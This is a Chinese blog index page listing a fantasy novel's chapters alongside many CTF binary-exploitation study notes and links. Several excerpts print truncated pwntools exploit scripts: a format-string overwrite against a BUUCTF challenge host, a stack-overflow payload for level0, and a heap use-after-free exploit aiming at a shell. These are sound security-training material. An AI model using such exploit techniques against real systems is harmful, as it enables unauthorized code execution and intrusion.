- 博客(157)
- 收藏
- 关注
原创 【奇幻之境:命运的纠葛】第二章:初遇危机
终于,他发现其中一条通道的墙壁上刻着一些奇怪的符号,这些符号与他在城堡中其他地方看到的相似。通道内弥漫着一股潮湿的气息,墙壁上的火把闪烁着微弱的光芒,照亮了他前行的道路。他不知道在前方等待他的是什么,但他坚信,只有不断前进,才能找到真正的答案。终于,他看准了一个机会,猛地向前冲去,手中的灵力如箭般射出,准确地击中了蝙蝠的要害。他成功地探索了城堡,获得了宝贵的经验和一些神秘的物品,但他的身世之谜仍未解开。当他最终站在山顶时,眼前展现出的景象让他瞪大了眼睛——那是一座神秘的遗迹,似乎隐藏着他一直追寻的真相……
2024-03-04 17:37:48
429
原创 【奇幻之境:命运的纠葛】小说构思和第一章(番茄小说同步更新)
邪恶势力可能试图破坏世界的和平,主角需要不断提升自己的实力,与之展开激烈的战斗,并最终战胜邪恶,拯救世界。经过一番沟通,凌云向守护精灵们展示了他帮助受伤精灵的善良举动,以及他对探索神秘世界的真诚愿望。同时,加入了神秘的古老遗迹和神秘生物,增加了故事的神秘色彩。老者告诉他,遗迹所在的地方充满了危险,但只有拥有勇气和智慧的人才能揭开其中的秘密。老人告诉他,这座城堡是被施了魔法的,只有找到城堡的钥匙,才能打开大门。森林中弥漫着一股神秘的气息,古老的树木参天而立,似乎隐藏着无数的秘密。
2024-03-04 16:17:52
851
原创 cookie
Cookie是当主机访问Web服务器创建的,将信息存储在用户计算机上的文件。一般网络用户习惯用其负数形式Cookies,指某些网站为了辨别用户身份、进行Session跟踪而存储在用户本地终端上的数据,而这些数据通常会进行加密处理。...
2021-06-20 22:10:04
216
原创 robots
robots是网站跟爬虫间的协议,用简单直接的txt格式文本方式告诉对应的爬虫被允许的权限,也就是说robots.txt是搜索引擎中访问网站的时候要查看的第一个文件。当一个搜索蜘蛛访问一个站点时,它会首先检查该站点根目录下是否存在robots.txt,如果存在,搜索机器人就会按照该文件中的内容来确定访问的范围;富国该文件不存在,所有的搜索蜘蛛将能够访问网站上所有没有被口令保护的页面。...
2021-06-20 21:08:06
190
原创 栈溢出return to register(ret2reg)绕过ASLR
ROP-Ret2reg详解:https://cloud.tencent.com/developer/article/1740171
2021-04-07 21:18:48
289
原创 linux下的系统调用
linux下的系统调用全过程:https://blog.csdn.net/cs2539263027/article/details/78977054
2021-04-04 15:29:11
152
原创 Mac PWN 入门系列(七)Ret2Csu
Mac PWN 入门系列(七)Ret2Csu:https://www.anquanke.com/post/id/205858
2021-04-03 11:33:16
260
原创 Syscalls used by malloc(英文文献)
Syscalls used by malloc:https://sploitfun.wordpress.com/2015/02/11/syscalls-used-by-malloc/
2021-04-03 10:59:01
116
转载 linux系统内存管理
转载自:https://blog.csdn.net/youngleoo/article/details/47860851虚拟地址空间:每个进程都有自己的虚拟内存地址空间,32位操作系统下是4GB的内存空间,这些虚拟内存通过页表映射到实际的物理内存,它们被操作系统的内核维护并被处理器使用。每个进程都有自己的页表,一旦虚拟地址被使用,它们会被所有运行在机器上的软件所使用,包括内核自身。因此虚拟地址空间必须留一些给内核专用(Linux下3G~4G的空间),这并不意味之内核使用如此多的物理内存,而只是意味着内核
2021-04-02 18:04:38
152
原创 MAR DASCTF明御攻防赛
MAR DASCTF明御攻防赛 PWN、RE Writeup:https://www.anquanke.com/post/id/236178
2021-03-31 18:19:13
863
原创 DynELF的原理及应用
Pwntools之DynELF原理探究:https://www.freebuf.com/articles/system/193646.html
2021-03-29 20:11:39
578
原创 ret2csu
好好说话之ret2csu:https://blog.csdn.net/qq_41202237/article/details/105913597
2021-03-28 19:58:04
164
原创 堆溢出
堆漏洞-UAF漏洞简析https://blog.csdn.net/qq_43390703/article/details/108921661
2021-03-22 19:34:42
180
原创 格式化字符串printf函数机制
https://www.52pojie.cn/thread-401929-1-1.htmlprintf("%3$s", 1, “b”, “c”, 4)表示将第三个参数输出,即Cprintf(“AAA%3$n”)表示将前面字符串的个数存入第三个参数,即3
2021-03-19 12:30:12
164
原创 UAF漏洞
UAF漏洞产生原理应用程序调用free()释放内存时,如果内存块小于256kb,dlmalloc并不马上将内存块释放回内存,而是将内存块标记为空闲状态。这么做的原因有两个:一是内存块不一定能马上释放会内核(比如内存块不是位于堆顶端),二是供应用程序下次申请内存使用(这是主要原因)。当dlmalloc中空闲内存量达到一定值时dlmalloc才将空闲内存释放会内核。如果应用程序申请的内存大于256kb,dlmalloc调用mmap()向内核申请一块内存,返回返还给应用程序使用。如果应用程序释放的内存大于256
2021-03-15 13:43:48
1008
原创 DynELF获取libc版本
参考题目:攻防世界pwn-200、pwn-100https://blog.csdn.net/weixin_43868725/article/details/107878667
2021-02-25 20:28:43
147
原创 BUUCTF one_gadget
https://www.yuque.com/chenguangzhongdeyimoxiao/xx6p74/ng8arh
2021-02-21 13:03:05
399
原创 BUUCTF - [第五空间2019 决赛]PWN5
from pwn import *context(arch='i386',os='linux',log_level='debug',binary='pwn5')io=remote('node3.buuoj.cn',28518)elf=ELF('./pwn5')io.recvuntil('your name:')unk_addr=0x0804C044payload=p32(unk_addr)+'%10$n'io.sendline(payload)io.recvuntil('your passw
2021-02-03 20:31:20
255
原创 ptmalloc内存分配机制
堆的ptmalloc机制:https://www.cnblogs.com/P201521440001/p/9753693.html
2021-01-27 12:04:36
153
原创 GDB调试指南
GDB调试指南:https://blog.csdn.net/chen1415886044/article/details/105094688/
2021-01-23 16:29:27
130
原创 泄露Canary的正确姿势
Canary学习(泄露Canary):https://www.icode9.com/content-4-626619.html
2021-01-22 22:36:24
301
原创 汇编指令rep stosq
rep指令:https://blog.csdn.net/xrzh8989/article/details/45314111stosq指令:https://blog.csdn.net/misterliwei/article/details/4353768
2021-01-22 22:17:34
998
1
原创 深入理解堆的实现
深入理解Glibc堆的实现(上):http://app.myzaker.com/news/article.php?pk=5cba851077ac645c53601742
2021-01-19 18:09:51
131
原创 栈溢出之BROP
Blind Return Oriented Programming (BROP) Attack - 攻击原理:https://blog.csdn.net/omnispace/article/details/51006149BROP:https://www.jianshu.com/p/2bd323e7e97f
2021-01-01 14:24:02
230
原创 绕过Canary与Canary的泄露
Canary学习(泄露Canary):https://blog.csdn.net/acsuccess/article/details/104115114泄露canary:https://blog.csdn.net/qq_38204481/article/details/81076850
2020-12-24 14:02:07
266
原创 uaf漏洞利用、use after free
UAF学习–原理及利用:https://www.cnblogs.com/alert123/p/4918041.html
2020-12-24 13:06:28
304
原创 攻防世界level0机器码形式payload
第一次写出了机器码payload哈哈哈from pwn import *context.log_level='debug'#r=remote('220.249.52.134',53019)r=process('./level0')system_call=0x400596ret_addr=0x400431#payload='A'*0x80+'B'*0x8+p64(ret_addr)+p64(system_call)payload='\x65\x65\x65\x65\x65\x65\x65\x6
2020-12-23 17:35:36
181
原创 2020XCTF华为云专场pwn题WP
PwnCPP解题思路题⽬存在uaf,结合堆⻛⽔getshell#!/usr/bin/python#coding:utf-8from pwn import *context.log_level='debug'#io=process("./chall",env={"LD_PRELOAD":"./libc-2.31.so"})io=remote('124.70.12.210', 10002)libc=ELF("./libc-2.31.so")sla=lambda a : io.sendlin
2020-12-23 16:53:19
497
原创 堆溢出资料汇总
新手科普 | CTF PWN堆溢出总结:https://www.freebuf.com/articles/system/171261.htmli春秋:https://www.ichunqiu.com/course/57507
2020-12-22 18:19:24
166
原创 fuzz黑盒测试
语雀:warmup (fuzz:黑盒测试)https://www.yuque.com/chenguangzhongdeyimoxiao/xx6p74/tdx0mi
2020-12-21 21:53:38
1358
空空如也
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人